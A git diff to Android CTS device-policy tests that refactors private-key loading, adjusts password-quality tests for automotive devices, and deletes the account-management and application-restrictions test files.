 import android.util.Base64InputStream;
 
-import com.android.cts.devicepolicy.ParcelablePrivateKey;
-
 import java.io.ByteArrayInputStream;
+import java.security.KeyFactory;
 import java.security.PrivateKey;
 import java.security.cert.Certificate;
 import java.security.cert.CertificateException;
 import java.security.cert.CertificateFactory;
+import java.security.spec.PKCS8EncodedKeySpec;
 import java.util.List;
 
 /**
@@ -77,15 +77,14 @@
 
         // Exercise installKeyPair.
         final String alias = "delegated-cert-installer-test-key";
-
-        PrivateKey privatekey = new ParcelablePrivateKey("RSA",
-                Base64.decode(TEST_KEY, Base64.DEFAULT));
+        PrivateKey privateKey = KeyFactory.getInstance("RSA").generatePrivate(
+                new PKCS8EncodedKeySpec(Base64.decode(TEST_KEY, Base64.DEFAULT)));
 
         Certificate certificate = CertificateFactory.getInstance("X.509").generateCertificate(
                 new Base64InputStream(new ByteArrayInputStream(TEST_CERT.getBytes()),
                     Base64.DEFAULT));
         assertTrue("Key pair not installed successfully",
-                mDpm.installKeyPair(null, privatekey, certificate, alias));
+                mDpm.installKeyPair(null, privateKey, certificate, alias));
 
         // Exercise removeKeyPair.
         assertTrue("Key pair not removed successfully", mDpm.removeKeyPair(null, alias));
diff --git a/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/GeneralDelegateTest.java b/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/GeneralDelegateTest.java
index 44dcbf3..b93b884 100644
--- a/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/GeneralDelegateTest.java
+++ b/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/GeneralDelegateTest.java
@@ -16,13 +16,13 @@
 package com.android.cts.delegate;
 
 import android.app.admin.DevicePolicyManager;
-import android.content.ComponentName;
 import android.os.Bundle;
 import android.test.MoreAsserts;
 import android.util.Log;
 
 import androidx.test.InstrumentationRegistry;
 
+import java.util.Arrays;
 import java.util.List;
 
 /**
@@ -39,7 +39,8 @@
         String[] expectedScopes = arguments.getString(PARAM_SCOPES).split(",");
         List<String> delegatedScopes = mDpm.getDelegatedScopes(/* admin= */ null,
                 mContext.getPackageName());
-        Log.v(TAG, "delegatedScopes: " + delegatedScopes);
+        Log.v(TAG, "delegatedScopes: " + delegatedScopes
+                + " expected: " + Arrays.toString(expectedScopes));
 
         assertNotNull("Received null scopes", delegatedScopes);
         MoreAsserts.assertContentsInAnyOrder("Delegated scopes do not match expected scopes",
@@ -56,17 +57,4 @@
                     expected.getMessage());
         }
     }
-
-    public void testSettingAdminComponentNameThrowsException() {
-        final String myPackageName = getInstrumentation().getContext().getPackageName();
-        final ComponentName myComponentName = new ComponentName(myPackageName,
-                GeneralDelegateTest.class.getName());
-
-        try {
-            mDpm.setUninstallBlocked(myComponentName, myPackageName, true);
-            fail("Expected SecurityException not thrown");
-        } catch (SecurityException expected) {
-            MoreAsserts.assertContainsRegex("No active admin", expected.getMessage());
-        }
-    }
 }
diff --git a/hostsidetests/devicepolicy/app/DeviceAdmin/src/com.android.cts.deviceadmin/DeviceAdminWithEnterprisePoliciesBlockedTest.java b/hostsidetests/devicepolicy/app/DeviceAdmin/src/com.android.cts.deviceadmin/DeviceAdminWithEnterprisePoliciesBlockedTest.java
index 402ca9f..f732fe2 100644
--- a/hostsidetests/devicepolicy/app/DeviceAdmin/src/com.android.cts.deviceadmin/DeviceAdminWithEnterprisePoliciesBlockedTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAdmin/src/com.android.cts.deviceadmin/DeviceAdminWithEnterprisePoliciesBlockedTest.java
@@ -16,13 +16,17 @@
 package com.android.cts.deviceadmin;
 
 import android.app.admin.DevicePolicyManager;
-import android.content.pm.PackageInfo;
 import android.content.pm.PackageManager;
+import android.util.Log;
 
 /**
  * Device admin device side tests with enterprise policies disallowed.
  */
 public class DeviceAdminWithEnterprisePoliciesBlockedTest extends DeviceAdminTest {
+
+    private static final String TAG = DeviceAdminWithEnterprisePoliciesBlockedTest.class
+            .getSimpleName();
+
     public void testCameraDisabled() {
         boolean originalValue = dpm.getCameraDisabled(mAdminComponent);
         assertSecurityException(() -> dpm.setCameraDisabled(mAdminComponent, true));
@@ -52,49 +56,49 @@
 
     public void testPasswordMinimumLength() {
         int originalValue = dpm.getPasswordMinimumLength(mAdminComponent);
-        assertSecurityException(() -> dpm.setPasswordMinimumLength(mAdminComponent, 4));
+        runDeprecatedPasswordQualityApi(() -> dpm.setPasswordMinimumLength(mAdminComponent, 4));
         assertEquals(originalValue, dpm.getPasswordMinimumLength(mAdminComponent));
     }
 
     public void testPasswordMinimumLetters() {
         int originalValue = dpm.getPasswordMinimumLetters(mAdminComponent);
-        assertSecurityException(() -> dpm.setPasswordMinimumLetters(mAdminComponent, 3));
+        runDeprecatedPasswordQualityApi(() -> dpm.setPasswordMinimumLetters(mAdminComponent, 3));
         assertEquals(originalValue, dpm.getPasswordMinimumLetters(mAdminComponent));
     }
 
     public void testPasswordMinimumLowerCase() {
         int originalValue = dpm.getPasswordMinimumLowerCase(mAdminComponent);
-        assertSecurityException(() -> dpm.setPasswordMinimumLowerCase(mAdminComponent, 3));
+        runDeprecatedPasswordQualityApi(() -> dpm.setPasswordMinimumLowerCase(mAdminComponent, 3));
         assertEquals(originalValue, dpm.getPasswordMinimumLowerCase(mAdminComponent));
     }
 
     public void testPasswordMinimumNonLetter() {
         int originalValue = dpm.getPasswordMinimumNonLetter(mAdminComponent);
-        assertSecurityException(() -> dpm.setPasswordMinimumNonLetter(mAdminComponent, 3));
+        runDeprecatedPasswordQualityApi(() -> dpm.setPasswordMinimumNonLetter(mAdminComponent, 3));
         assertEquals(originalValue, dpm.getPasswordMinimumNonLetter(mAdminComponent));
     }
 
     public void testPasswordMinimumNumeric() {
         int originalValue = dpm.getPasswordMinimumNumeric(mAdminComponent);
-        assertSecurityException(() -> dpm.setPasswordMinimumNumeric(mAdminComponent, 2));
+        runDeprecatedPasswordQualityApi(() -> dpm.setPasswordMinimumNumeric(mAdminComponent, 2));
         assertEquals(originalValue, dpm.getPasswordMinimumNumeric(mAdminComponent));
     }
 
     public void testPasswordMinimumSymbols() {
         int originalValue = dpm.getPasswordMinimumSymbols(mAdminComponent);
-        assertSecurityException(() -> dpm.setPasswordMinimumSymbols(mAdminComponent, 2));
+        runDeprecatedPasswordQualityApi(() -> dpm.setPasswordMinimumSymbols(mAdminComponent, 2));
         assertEquals(originalValue, dpm.getPasswordMinimumSymbols(mAdminComponent));
     }
 
     public void testPasswordMinimumUpperCase() {
         int originalValue = dpm.getPasswordMinimumUpperCase(mAdminComponent);
-        assertSecurityException(() -> dpm.setPasswordMinimumUpperCase(mAdminComponent, 3));
+        runDeprecatedPasswordQualityApi(() -> dpm.setPasswordMinimumUpperCase(mAdminComponent, 3));
         assertEquals(originalValue, dpm.getPasswordMinimumUpperCase(mAdminComponent));
     }
 
     public void testPasswordQuality() {
         int originalValue = dpm.getPasswordQuality(mAdminComponent);
-        assertSecurityException(() -> dpm.setPasswordQuality(mAdminComponent,
+        runDeprecatedPasswordQualityApi(() -> dpm.setPasswordQuality(mAdminComponent,
             DevicePolicyManager.PASSWORD_QUALITY_ALPHABETIC));
         assertEquals(originalValue, dpm.getPasswordQuality(mAdminComponent));
     }
@@ -119,4 +123,19 @@
 
         assertTrue("Expected SecurityException was not thrown", securityExceptionThrown);
     }
+
+    private void runDeprecatedPasswordQualityApi(Runnable r) {
+        if (supportDeprecatedPasswordQualityApis()) {
+            Log.v(TAG, "Running operation and expecting a SecurityException");
+            assertSecurityException(r);
+        } else {
+            Log.v(TAG, "Running operation without expecting exception - it should just be ignored");
+            r.run();
+        }
+    }
+
+    private boolean supportDeprecatedPasswordQualityApis() {
+        return !getContext().getPackageManager()
+                .hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE);
+    }
 }
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/latest/AndroidManifest.xml b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/latest/AndroidManifest.xml
index fcc7d5d..472cdbc 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/latest/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/latest/AndroidManifest.xml
@@ -44,7 +44,7 @@
 
     <!-- Add a network security config that trusts user added CAs for tests -->
     <application android:networkSecurityConfig="@xml/network_security_config"
-         android:testOnly="true">
+         android:testOnly="true" android:debuggable="true">
 
         <uses-library android:name="android.test.runner"/>
         <receiver android:name="com.android.cts.deviceandprofileowner.BaseDeviceAdminTest$BasicAdminReceiver"
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AllowedAccountManagementTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AllowedAccountManagementTest.java
deleted file mode 100644
index 612794b..0000000
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AllowedAccountManagementTest.java
+++ /dev/null
@@ -1,135 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.deviceandprofileowner;
-
-import android.accounts.Account;
-import android.accounts.AccountManager;
-import android.accounts.AuthenticatorException;
-import android.accounts.OperationCanceledException;
-import android.app.admin.DevicePolicyManager;
-import android.content.Context;
-import android.os.Bundle;
-import android.os.UserManager;
-
-import java.io.IOException;
-
-/**
- * These tests verify that the device / profile owner can use account management APIs to add
- * accounts even when policies are set. The policies tested are
- * {@link DevicePolicyManager#setAccountManagementDisabled} and
- * {@link UserManager#DISALLOW_MODIFY_ACCOUNTS}.
- *
- * This test depends on {@link com.android.cts.devicepolicy.accountmanagement.MockAccountService},
- * which provides authenticator for a mock account type.
- */
-public class AllowedAccountManagementTest extends BaseDeviceAdminTest {
-
-    // Account type for MockAccountAuthenticator
-    private final static String ACCOUNT_TYPE_1 =
-            "com.android.cts.devicepolicy.accountmanagement.account.type";
-    private final static String ACCOUNT_TYPE_2 = "com.placeholder.account";
-    private final static Account ACCOUNT = new Account("user0", ACCOUNT_TYPE_1);
-
-    private AccountManager mAccountManager;
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mAccountManager = (AccountManager) mContext.getSystemService(Context.ACCOUNT_SERVICE);
-        clearAllAccountManagementDisabled();
-        mDevicePolicyManager.clearUserRestriction(ADMIN_RECEIVER_COMPONENT,
-                UserManager.DISALLOW_MODIFY_ACCOUNTS);
-    }
-
-    @Override
-    protected void tearDown() throws Exception {
-        clearAllAccountManagementDisabled();
-        mDevicePolicyManager.clearUserRestriction(ADMIN_RECEIVER_COMPONENT,
-                UserManager.DISALLOW_MODIFY_ACCOUNTS);
-        super.tearDown();
-    }
-
-    public void testAccountManagementDisabled_setterAndGetter() {
-        // Some local tests: adding and removing disabled accounts and make sure
-        // DevicePolicyManager keeps track of the disabled set correctly
-        assertEquals(0, mDevicePolicyManager.getAccountTypesWithManagementDisabled().length);
-
-        mDevicePolicyManager.setAccountManagementDisabled(ADMIN_RECEIVER_COMPONENT, ACCOUNT_TYPE_1,
-                true);
-        // Test if disabling ACCOUNT_TYPE_2 affects ACCOUNT_TYPE_1
-        mDevicePolicyManager.setAccountManagementDisabled(ADMIN_RECEIVER_COMPONENT, ACCOUNT_TYPE_2,
-                false);
-        assertEquals(1, mDevicePolicyManager.getAccountTypesWithManagementDisabled().length);
-        assertEquals(ACCOUNT_TYPE_1,
-                mDevicePolicyManager.getAccountTypesWithManagementDisabled()[0]);
-
-        mDevicePolicyManager.setAccountManagementDisabled(ADMIN_RECEIVER_COMPONENT, ACCOUNT_TYPE_1,
-                false);
-        assertEquals(0, mDevicePolicyManager.getAccountTypesWithManagementDisabled().length);
-    }
-
-    public void testAccountManagementDisabled_profileAndDeviceOwnerCanAddAccount()
-            throws AuthenticatorException, IOException, OperationCanceledException {
-        mDevicePolicyManager.setAccountManagementDisabled(ADMIN_RECEIVER_COMPONENT, ACCOUNT_TYPE_1,
-                true);
-
-        assertEquals(0, mAccountManager.getAccountsByType(ACCOUNT_TYPE_1).length);
-        // Management is disabled, but the device / profile owner is still allowed to use the APIs
-        Bundle result = mAccountManager.addAccount(ACCOUNT_TYPE_1,
-                null, null, null, null, null, null).getResult();
-
-        // Normally the expected result of addAccount() is AccountManager returning
-        // an intent to start the authenticator activity for adding new accounts.
-        // But MockAccountAuthenticator returns a new account straightway.
-        assertEquals(ACCOUNT_TYPE_1, result.getString(AccountManager.KEY_ACCOUNT_TYPE));
-    }
-
-    public void testUserRestriction_profileAndDeviceOwnerCanAddAndRemoveAccount()
-            throws AuthenticatorException, IOException, OperationCanceledException {
-        mDevicePolicyManager.addUserRestriction(ADMIN_RECEIVER_COMPONENT,
-                UserManager.DISALLOW_MODIFY_ACCOUNTS);
-
-        assertEquals(0, mAccountManager.getAccountsByType(ACCOUNT_TYPE_1).length);
-        // Management is disabled, but the device / profile owner is still allowed to use the APIs
-        Bundle result = mAccountManager.addAccount(ACCOUNT_TYPE_1,
-                null, null, null, null, null, null).getResult();
-
-        // Normally the expected result of addAccount() is AccountManager returning
-        // an intent to start the authenticator activity for adding new accounts.
-        // But MockAccountAuthenticator returns a new account straightway.
-        assertEquals(ACCOUNT_TYPE_1, result.getString(AccountManager.KEY_ACCOUNT_TYPE));
-
-        result = mAccountManager.removeAccount(ACCOUNT, null, null, null).getResult();
-        assertTrue(result.getBoolean(AccountManager.KEY_BOOLEAN_RESULT));
-    }
-
-    public void testRemoveAccount_noUserRestriction()
-            throws AuthenticatorException, IOException, OperationCanceledException {
-        // We only want to verify removeAccount can through to AccountManagerService without
-        // throwing an Exception, so it's not necessary to add the account before removal.
-        Bundle result = mAccountManager.removeAccount(ACCOUNT, null, null, null).getResult();
-        assertTrue(result.getBoolean(AccountManager.KEY_BOOLEAN_RESULT));
-    }
-
-    private void clearAllAccountManagementDisabled() {
-        for (String accountType : mDevicePolicyManager.getAccountTypesWithManagementDisabled()) {
-            mDevicePolicyManager.setAccountManagementDisabled(ADMIN_RECEIVER_COMPONENT, accountType,
-                    false);
-        }
-        assertEquals(0, mDevicePolicyManager.getAccountTypesWithManagementDisabled().length);
-    }
-}
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/ApplicationRestrictionsTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/ApplicationRestrictionsTest.java
deleted file mode 100644
index 7d84ac2..0000000
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/ApplicationRestrictionsTest.java
+++ /dev/null
@@ -1,334 +0,0 @@
-/*
- * Copyright (C) 2014 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.cts.deviceandprofileowner;
-
-import android.content.BroadcastReceiver;
-import android.content.ComponentName;
-import android.content.Context;
-import android.content.Intent;
-import android.content.IntentFilter;
-import android.content.pm.PackageManager.NameNotFoundException;
-import android.os.Bundle;
-import android.os.Parcelable;
-import android.os.UserManager;
-import android.test.MoreAsserts;
-
-import java.util.concurrent.Semaphore;
-import java.util.concurrent.TimeUnit;
-
-/**
- * Functionality tests for application restrictions APIs.
- *
- * <p>APIs are executed locally to assert that what you set can later be retrieved via the getter.
- * It also fires up an external activity to observe an application's view of its restrictions.
- *
- * <p>Finally, it checks that the {@link Intent#ACTION_APPLICATION_RESTRICTIONS_CHANGED} broadcast
- * is sent whenever app restrictions are modified for a given package.
- */
-public class ApplicationRestrictionsTest extends BaseDeviceAdminTest {
-
-    private static final String APP_RESTRICTIONS_TARGET_PKG =
-            "com.android.cts.apprestrictions.targetapp";
-    private static final String APP_RESTRICTIONS_ACTIVITY_NAME =
-            APP_RESTRICTIONS_TARGET_PKG + ".ApplicationRestrictionsActivity";
-    private static final String ACTION_RESTRICTIONS_VALUE =
-            "com.android.cts.apprestrictions.targetapp.RESTRICTIONS_VALUE";
-
-    private static final String OTHER_PACKAGE = APP_RESTRICTIONS_TARGET_PKG + "placeholder";
-
-    private static final String[] TEST_STRINGS = new String[] {
-            "<bad/>",
-            ">worse!\"£$%^&*()'<",
-            "<JSON>\"{ \\\"One\\\": { \\\"OneOne\\\": \\\"11\\\", \\\""
-                    + "OneTwo\\\": \\\"12\\\" }, \\\"Two\\\": \\\"2\\\" } <JSON/>\""
-    };
-
-    private static final Bundle BUNDLE_0 = createBundle0();
-    private static final Bundle BUNDLE_1 = createBundle1();
-
-    private static final long RESTRICTIONS_TIMEOUT_SECONDS = 10;
-
-    private final BroadcastReceiver mReceiver = new BroadcastReceiver() {
-        @Override
-        public void onReceive(Context context, Intent intent) {
-            String action = intent.getAction();
-            if (ACTION_RESTRICTIONS_VALUE.equals(action)) {
-                mReceivedRestrictions = intent.getBundleExtra("value");
-                mOnRestrictionsReceivedFromAppSemaphore.release();
-            } else if (Intent.ACTION_APPLICATION_RESTRICTIONS_CHANGED.equals(action)) {
-                mOnAppRestrictionsChangedSemahore.release();
-            }
-        }
-    };
-
-    private final Semaphore mOnAppRestrictionsChangedSemahore = new Semaphore(0);
-    private final Semaphore mOnRestrictionsReceivedFromAppSemaphore = new Semaphore(0);
-    private Bundle mReceivedRestrictions;
-    private UserManager mUserManager;
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-
-        mUserManager = (UserManager) mContext.getSystemService(Context.USER_SERVICE);
-
-        IntentFilter filter = new IntentFilter();
-        filter.addAction(ACTION_RESTRICTIONS_VALUE);
-        filter.addAction(Intent.ACTION_APPLICATION_RESTRICTIONS_CHANGED);
-        mContext.registerReceiver(mReceiver, filter);
-    }
-
-    @Override
-    protected void tearDown() throws Exception {
-        mContext.unregisterReceiver(mReceiver);
-
-        mDevicePolicyManager.setApplicationRestrictions(
-                ADMIN_RECEIVER_COMPONENT, APP_RESTRICTIONS_TARGET_PKG, new Bundle());
-        mDevicePolicyManager.setApplicationRestrictions(
-                ADMIN_RECEIVER_COMPONENT, OTHER_PACKAGE, new Bundle());
-        mDevicePolicyManager.setApplicationRestrictions(
-                ADMIN_RECEIVER_COMPONENT, mContext.getPackageName(), new Bundle());
-
-        super.tearDown();
-    }
-
-    public void testNullComponentThrowsException() {
-        try {
-            mDevicePolicyManager.setApplicationRestrictions(
-                    null, APP_RESTRICTIONS_TARGET_PKG, null);
-            fail("Expected SecurityException not thrown");
-        } catch (SecurityException expected) {
-            MoreAsserts.assertContainsRegex(
-                    "Calling identity is not authorized",
-                    expected.getMessage());
-        }
-        try {
-            mDevicePolicyManager.getApplicationRestrictions(null, APP_RESTRICTIONS_TARGET_PKG);
-            fail("Expected SecurityException not thrown");
-        } catch (SecurityException expected) {
-            MoreAsserts.assertContainsRegex(
-                    "Calling identity is not authorized",
-                    expected.getMessage());
-        }
-    }
-
-    public void testSetApplicationRestrictions() {
-        // Test setting restrictions
-        mDevicePolicyManager.setApplicationRestrictions(
-                ADMIN_RECEIVER_COMPONENT, APP_RESTRICTIONS_TARGET_PKG, BUNDLE_0);
-        mDevicePolicyManager.setApplicationRestrictions(
-                ADMIN_RECEIVER_COMPONENT, OTHER_PACKAGE, BUNDLE_1);
-
-        // Retrieve restrictions locally and make sure they are what we put in.
-        assertBundle0(mDevicePolicyManager.getApplicationRestrictions(
-                ADMIN_RECEIVER_COMPONENT, APP_RESTRICTIONS_TARGET_PKG));
-        assertBundle1(mDevicePolicyManager.getApplicationRestrictions(
-                ADMIN_RECEIVER_COMPONENT, OTHER_PACKAGE));
-
-        // Check that the target app can retrieve the same restrictions.
-        assertBundle0(waitForRestrictionsValueFromTestActivity());
-
-        // Test overwriting
-        mDevicePolicyManager.setApplicationRestrictions(
-                ADMIN_RECEIVER_COMPONENT, APP_RESTRICTIONS_TARGET_PKG, BUNDLE_1);
-        assertBundle1(mDevicePolicyManager.getApplicationRestrictions(
-                ADMIN_RECEIVER_COMPONENT, APP_RESTRICTIONS_TARGET_PKG));
-        assertBundle1(waitForRestrictionsValueFromTestActivity());
-
-        mDevicePolicyManager.setApplicationRestrictions(
-                ADMIN_RECEIVER_COMPONENT, APP_RESTRICTIONS_TARGET_PKG, new Bundle());
-        assertTrue(mDevicePolicyManager.getApplicationRestrictions(
-                ADMIN_RECEIVER_COMPONENT, APP_RESTRICTIONS_TARGET_PKG).isEmpty());
-        assertTrue(waitForRestrictionsValueFromTestActivity().isEmpty());
-
-        mDevicePolicyManager.setApplicationRestrictions(
-                ADMIN_RECEIVER_COMPONENT, OTHER_PACKAGE, null);
-        assertTrue(mDevicePolicyManager.getApplicationRestrictions(
-                ADMIN_RECEIVER_COMPONENT, OTHER_PACKAGE).isEmpty());
-    }
-
-    public void testCanRetrieveOwnRestrictionsViaUserManager() {
-        final String packageName = mContext.getPackageName();
-
-        mDevicePolicyManager.setApplicationRestrictions(
-                ADMIN_RECEIVER_COMPONENT, packageName, BUNDLE_0);
-        assertBundle0(mDevicePolicyManager.getApplicationRestrictions(
-                ADMIN_RECEIVER_COMPONENT, packageName));
-
-        // Check that we got the restrictions changed callback.
-        assertBundle0(waitForRestrictionsChangedBroadcast());
-
-        mDevicePolicyManager.setApplicationRestrictions(
-                ADMIN_RECEIVER_COMPONENT, packageName, BUNDLE_1);
-        assertBundle1(mDevicePolicyManager.getApplicationRestrictions(
-                ADMIN_RECEIVER_COMPONENT, packageName));
-        assertBundle1(waitForRestrictionsChangedBroadcast());
-    }
-
-    public void testCannotRetrieveOtherPackageRestrictionsViaUserManager() {
-        try {
-            mUserManager.getApplicationRestrictions(OTHER_PACKAGE);
-            fail("Expected SecurityException not thrown");
-        } catch (SecurityException expected) {
-        }
-    }
-
-    public void testSetApplicationRestrictionsManagingPackage() throws NameNotFoundException {
-        final String previousValue = mDevicePolicyManager.getApplicationRestrictionsManagingPackage(
-                ADMIN_RECEIVER_COMPONENT);
-        try {
-            mDevicePolicyManager.setApplicationRestrictionsManagingPackage(
-                    ADMIN_RECEIVER_COMPONENT, APP_RESTRICTIONS_TARGET_PKG);
-            assertEquals(APP_RESTRICTIONS_TARGET_PKG,
-                    mDevicePolicyManager.getApplicationRestrictionsManagingPackage(
-                            ADMIN_RECEIVER_COMPONENT));
-            mDevicePolicyManager.setApplicationRestrictionsManagingPackage(
-                    ADMIN_RECEIVER_COMPONENT, null);
-            assertNull(mDevicePolicyManager.getApplicationRestrictionsManagingPackage(
-                    ADMIN_RECEIVER_COMPONENT));
-        } finally {
-            mDevicePolicyManager.setApplicationRestrictionsManagingPackage(
-                    ADMIN_RECEIVER_COMPONENT, previousValue);
-            assertEquals(previousValue,
-                    mDevicePolicyManager.getApplicationRestrictionsManagingPackage(
-                            ADMIN_RECEIVER_COMPONENT));
-        }
-    }
-
-    public void testSetApplicationRestrictionsManagingPackageForNotInstalledPackage()
-            throws NameNotFoundException {
-        try {
-            mDevicePolicyManager.setApplicationRestrictionsManagingPackage(ADMIN_RECEIVER_COMPONENT,
-                    OTHER_PACKAGE);
-            fail("Not throwing exception for not installed package name");
-        } catch (NameNotFoundException expected) {
-            MoreAsserts.assertContainsRegex(OTHER_PACKAGE, expected.getMessage());
-        } finally {
-            mDevicePolicyManager.setApplicationRestrictionsManagingPackage(ADMIN_RECEIVER_COMPONENT,
-                    null);
-            assertNull(mDevicePolicyManager.getApplicationRestrictionsManagingPackage(
-                    ADMIN_RECEIVER_COMPONENT));
-        }
-    }
-
-    // Should be consistent with assertBundle0
-    private static Bundle createBundle0() {
-        Bundle result = new Bundle();
-        // Tests for 6 allowed types: Integer, Boolean, String, String[], Bundle and Parcelable[]
-        // Also test for string escaping handling
-        result.putBoolean("boolean_0", false);
-        result.putBoolean("boolean_1", true);
-        result.putInt("integer", 0x7fffffff);
-        // If a null is stored, "" will be read back
-        result.putString("empty", "");
-        result.putString("string", "text");
-        result.putStringArray("string[]", TEST_STRINGS);
-
-        // Adding a bundle, which contain 2 nested restrictions - bundle_string and bundle_int
-        Bundle bundle = new Bundle();
-        bundle.putString("bundle_string", "bundle_string");
-        bundle.putInt("bundle_int", 1);
-        result.putBundle("bundle", bundle);
-
-        // Adding an array of 2 bundles
-        Bundle[] bundleArray = new Bundle[2];
-        bundleArray[0] = new Bundle();
-        bundleArray[0].putString("bundle_array_string", "bundle_array_string");
-        // Put bundle inside bundle
-        bundleArray[0].putBundle("bundle_array_bundle", bundle);
-        bundleArray[1] = new Bundle();
-        bundleArray[1].putString("bundle_array_string2", "bundle_array_string2");
-        result.putParcelableArray("bundle_array", bundleArray);
-        return result;
-    }
-
-    // Should be consistent with createBundle0
-    private void assertBundle0(Bundle bundle) {
-        assertEquals(8, bundle.size());
-        assertEquals(false, bundle.getBoolean("boolean_0"));
-        assertEquals(true, bundle.getBoolean("boolean_1"));
-        assertEquals(0x7fffffff, bundle.getInt("integer"));
-        assertEquals("", bundle.getString("empty"));
-        assertEquals("text", bundle.getString("string"));
-
-        String[] strings = bundle.getStringArray("string[]");
-        assertTrue(strings != null && strings.length == TEST_STRINGS.length);
-        for (int i = 0; i < strings.length; i++) {
-            assertEquals(strings[i], TEST_STRINGS[i]);
-        }
-
-        Bundle childBundle = bundle.getBundle("bundle");
-        assertEquals("bundle_string", childBundle.getString("bundle_string"));
-        assertEquals(1, childBundle.getInt("bundle_int"));
-
-        Parcelable[] bundleArray = bundle.getParcelableArray("bundle_array");
-        assertEquals(2, bundleArray.length);
-        // Verifying bundle_array[0]
-        Bundle bundle1 = (Bundle) bundleArray[0];
-        assertEquals("bundle_array_string", bundle1.getString("bundle_array_string"));
-        Bundle bundle1ChildBundle = bundle1.getBundle("bundle_array_bundle");
-        assertNotNull(bundle1ChildBundle);
-        assertEquals("bundle_string", bundle1ChildBundle.getString("bundle_string"));
-        assertEquals(1, bundle1ChildBundle.getInt("bundle_int"));
-        // Verifying bundle_array[1]
-        Bundle bundle2 = (Bundle) bundleArray[1];
-        assertEquals("bundle_array_string2", bundle2.getString("bundle_array_string2"));
-    }
-
-    // Should be consistent with assertBundle1
-    private static Bundle createBundle1() {
-        Bundle result = new Bundle();
-        result.putInt("placeholder", 1);
-        return result;
-    }
-
-    // Should be consistent with createBundle1
-    private void assertBundle1(Bundle bundle) {
-        assertEquals(1, bundle.size());
-        assertEquals(1, bundle.getInt("placeholder"));
-    }
-
-    private void startTestActivity() {
-        mContext.startActivity(new Intent()
-                .setComponent(new ComponentName(
-                        APP_RESTRICTIONS_TARGET_PKG, APP_RESTRICTIONS_ACTIVITY_NAME))
-                .addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP | Intent.FLAG_ACTIVITY_NEW_TASK));
-    }
-
-    private Bundle waitForRestrictionsValueFromTestActivity() {
-        startTestActivity();
-
-        try {
-            assertTrue(mOnRestrictionsReceivedFromAppSemaphore.tryAcquire(
-                    RESTRICTIONS_TIMEOUT_SECONDS, TimeUnit.SECONDS));
-        } catch (InterruptedException e) {
-            fail("waitForRestrictionsValueFromTestActivity() interrupted");
-        }
-
-        return mReceivedRestrictions;
-    }
-
-    private Bundle waitForRestrictionsChangedBroadcast() {
-        try {
-            assertTrue(mOnAppRestrictionsChangedSemahore.tryAcquire(
-                    RESTRICTIONS_TIMEOUT_SECONDS, TimeUnit.SECONDS));
-        } catch (InterruptedException e) {
-            fail("waitForRestrictionsChangedBroadcast() interrupted");
-        }
-
-        return mUserManager.getApplicationRestrictions(mContext.getPackageName());
-    }
-}
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/BaseDeviceAdminTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/BaseDeviceAdminTest.java
index 0fb2764..76126cf 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/BaseDeviceAdminTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/BaseDeviceAdminTest.java
@@ -42,6 +42,7 @@
 import com.android.compatibility.common.util.SystemUtil;
 import com.android.cts.deviceandprofileowner.BaseDeviceAdminTest.BasicAdminReceiver;
 
+import java.util.List;
 import java.util.concurrent.CountDownLatch;
 
 /**
@@ -126,6 +127,8 @@
     protected UserManager mUserManager;
     protected Context mContext;
     protected boolean mHasSecureLockScreen;
+    protected boolean mIsAutomotive;
+    protected boolean mIsDeviceOwnerTest;
     static CountDownLatch mOnPasswordExpiryTimeoutCalled;
 
     protected final String mTag = getClass().getSimpleName();
@@ -140,17 +143,14 @@
 
         mHasSecureLockScreen = mContext.getPackageManager().hasSystemFeature(
                 PackageManager.FEATURE_SECURE_LOCK_SCREEN);
+        mIsAutomotive = mContext.getPackageManager().hasSystemFeature(
+                PackageManager.FEATURE_AUTOMOTIVE);
 
-        boolean isDeviceOwnerTest = "DeviceOwner"
+        mIsDeviceOwnerTest = "DeviceOwner"
                 .equals(InstrumentationRegistry.getArguments().getString("admin_type"));
 
